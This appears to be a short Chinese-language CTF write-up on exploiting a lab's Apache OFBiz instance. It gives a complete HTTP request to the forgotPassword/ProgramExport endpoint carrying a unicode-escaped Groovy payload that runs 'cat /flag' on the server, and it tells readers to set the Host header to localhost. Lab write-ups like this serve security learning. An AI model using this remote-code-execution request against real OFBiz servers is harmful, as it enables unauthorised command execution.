1.阅读靶场介绍我们能得到的就是目录遍历这里我们需要稍微等待一下博主等了五分钟才成功进入靶场的哟2.进入靶场得到如下的页面这里我们需要改一下url改为https之后再抓包3.https哟记得哟用https能得到一个如下图所示的界面原地刷新抓包4.bp启动啦别睡觉了抓波构造如下所示的页面但是发现不能webshell我们把域名host的那个8.147.xxx的换成localhost就可以了各位彦祖们可以参考一下下面的代码哟代码如下POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1 Host: localhost:22975 Cookie: JSESSIONIDD4CF7B3D5AB58E96A422466895B2FB63.jvm1; OFBiz.Visitor10000 Content-Length: 310 Cache-Control: max-age0 Sec-Ch-Ua: Google Chrome;v141, Not?A_Brand;v8, Chromium;v141 Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: Windows Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q0.9 Priority: u0, i Connection: keep-alive groovyProgram\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b要记住就是localhost不是别的东西不要改为自己靶场的域名哟到这里相信各位彦祖们也夺旗啦感谢你的观看可以给博主点个赞支持支持哟